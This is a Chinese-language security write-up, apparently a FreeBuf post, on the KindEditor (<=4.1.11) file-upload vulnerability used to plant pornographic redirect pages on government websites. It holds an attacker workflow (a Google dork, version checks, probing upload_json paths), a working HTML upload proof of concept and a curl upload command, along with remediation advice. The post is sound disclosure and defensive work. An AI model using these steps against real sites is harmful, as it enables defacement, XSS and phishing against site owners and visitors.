大批量Kindeditor文件上传事件的漏洞分析
一 漏洞背景
KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。
KindEditor使用JavaScript编写,可以无缝的于Java、.NET、PHP、ASP等程序接合。 KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用,2006年7月首次发布2.0以来,KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率,目前在国内已经成为最受欢迎的编辑器之一。
2019年2月份,安恒明鉴网站安全监测平台和应急响应中心监测发现近百起党政机关网站被植入色情广告页面,分析发现被植入色情广告页面的网站都使用了KindEditor编辑器组件。本次安全事件主要由upload_json.*上传功能文件允许被直接调用从而实现上传htm,html,txt等文件到服务器,在实际已监测到的安全事件案例中,上传的htm,html文件中存在包含跳转到违法色情网站的代码,攻击者主要针对党政机关网站实施批量上传,建议使用该组件的网站系统尽快做好安全加固配置,防止被恶意攻击。
事实上,早在2017年GitHub上已有报告了KindEditor编辑器存在文件上传漏洞的分析,可参考:https://github.com/kindsoft/kindeditor/issues/249。
二、漏洞描述
漏洞存在于小于等于kindeditor4.1.5 编辑器里,你能上传.txt和 .html文件,支持php/asp/jsp/asp.net。 /php/upload_json.php文件不会清理用户输入或者检查用户是否将任意文件上传到系统。通过构造一个恶意的 html文件来实现跳转,钓鱼等,恶意攻击者可实现。
三、漏洞版本
影响版本如下:
kindeditor版本<=4.1.11
四、漏洞复现
(1)准备工作
准备虚拟机环境为Windows7 64位。然后官方下载
kindeditor4.1.11:http://kindeditor.net/down.php
phpstudy2018:http://phpstudy.php.cn/
然后安装phpstudy,解压缩kindeditor。
在phpstudy的安装目录下:C:\phpStudy\PHPTutorial\WWW(网站目录),新建 test文件件,拷入kindeditor。然后添加文件夹attacked(上传文件的目录),修改 js名称,将kindeditor-all.js改成kindeditor.js,因为默认的 demo调用的js文件名称就是kindeditor.js,当然也可以修改 demo中调用的名称,可以根据个人喜好。
(2)测试访问
访问测试的地址,出现如下界面说明正常,可以进行编辑和上传。
(3)漏洞发现
如何能够打开kindeditor编辑的地址。我们可以直接进行插入文件。编辑器对上传格式有要求,通过返回可以发现他可以上传html、 txt、word等类型文件。攻击者即可插入恶意html代码,对网站造成危害。
尝试上传包含XSS的html代码,直接返回访问路径,弹出XSS 。
攻击者甚至可以批量上传包含跳转到违法色情网站的html代码,对政府和企业造成不良影响。
如果是攻击者,常见攻击方式如下:
1.在谷歌首先搜索疑似漏洞inurl:kindeditor
2.然后查看版本信息:http://www.xxx.org/kindeditor//kindeditor.js,虚拟机显示如下,版本为 4.1.11.,一般存在漏洞。
3.进行尝试如下路径是否存在有必要验证文件 upload_json.*,常见判断路径如下:
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
也可以提前判断系统的语言,这里我们采用的是php,访问http://172.16.111.193/test/kindeditor/php/upload_json.php ,返回状态码200,显示存在。否则显示404,not found 。
4.构造POC或者CURL提交文件。这次采用构造 POC,url替换为攻击url。
<html><head>
<title>Uploader</title>
<scriptsrc=“http://url/kindeditor//kindeditor.js“></script>
<script>
KindEditor.ready(function(K){
var uploadbutton =K.uploadbutton({
button: K(‘#uploadButton‘)[0],
fieldName: ‘imgFile‘,
url: ‘http://url/kindeditor/jsp/upload_json.jsp?dir=file‘,
afterUpload: function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, ‘absolute‘);
K(‘#url‘).val(url);}
},
});
uploadbutton.fileBox.change(function(e){
uploadbutton.submit();
});
});
</script></head><body>
<divclass=“upload”>
<inputclass=“ke-input-text” type= “text” id=“url” value=“” readonly=“readonly” />
<inputtype=“button” id=“uploadButton” value= “Upload” />
</div>
</body>
</html>
访问html文件如下,上传html文件,返回访问路径。
5.curl提交一个html文件,内容随便写就好,比如 1.html,使用 curl提交过程如下(测试系统为Windows,安装curl后提交显示设置失败,未查明原因),理论上显示如下,返回上传的 html的访问路径:curl -F”[email protected]”http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file
五、 修复建议
本次漏洞级别为高危,近期针对该漏洞的攻击活动正变得活跃,攻击对象一般是政府单位和公众企业,攻击者借此漏洞上传菠菜和色情链接,建议尽快做好安全加固配置。安全运营方面建议:直接删除upload_json.*和file_manager_json.*即可。安全开发生命周期(SDL)建议:KindEditor编辑器早在2017年就已被披露该漏洞详情,建议网站建设单位经常关注其系统使用的框架、依赖库、编辑器等组件的官方安全更新公告,采用最新版本的KindEditor。
关注我们
Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:
来源:freebuf.com 2019-04-28 09:03:43 by: 爱上卿Ooo
请登录后发表评论
注册